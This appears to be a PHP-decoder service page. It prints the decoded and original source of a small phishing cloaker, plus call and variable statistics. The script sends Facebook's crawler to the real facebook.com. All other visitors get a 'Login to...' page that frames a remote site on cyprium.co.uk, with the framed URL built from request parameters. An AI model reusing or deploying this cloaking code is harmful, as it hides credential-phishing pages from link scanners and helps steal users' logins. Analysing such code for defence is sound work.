Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ua = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/facebook/si',$ua)) { header(..

Decoded Output download

 
<html> 
<head> 
<title>Login to...</title> 
 
 
</head> 
<frameset rows="*,3" 9alwa-hhh="NO" fakescams="50" zeb="0"> 
<frame name="main" src="https://cyprium.co.uk/maroc/&i="> 
 
</body> 
</noframes> 
</html>

Did this file decode correctly?

Original Code

<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/facebook/si',$ua)) { 
header('Location:https://web.facebook.com/'); 
die(); }else{
$url = trim($_GET['md5']);
$id= trim($_GET['i']);
$min = substr($url , strpos($url , '//'), 5000000 );
$link = 'https://cyprium.co.uk/maroc/';
echo '
<html>
<head>
<title>Login to...</title>


</head>
<frameset rows="*,3" 9alwa-hhh="NO" fakescams="50" zeb="0">
<frame name="main" src="'.$link.$min.'&i='.$id.'">

</body>
</noframes>
</html>';
}
?>

Function Calls

trim 2
strpos 1
substr 1
preg_match 1

Variables

$id
$ua None
$min
$url
$link https://cyprium.co.uk/maroc/

Stats

MD5 ee1792da151bcaaa53df5732be0e1e06
Eval Count 0
Decode Time 112 ms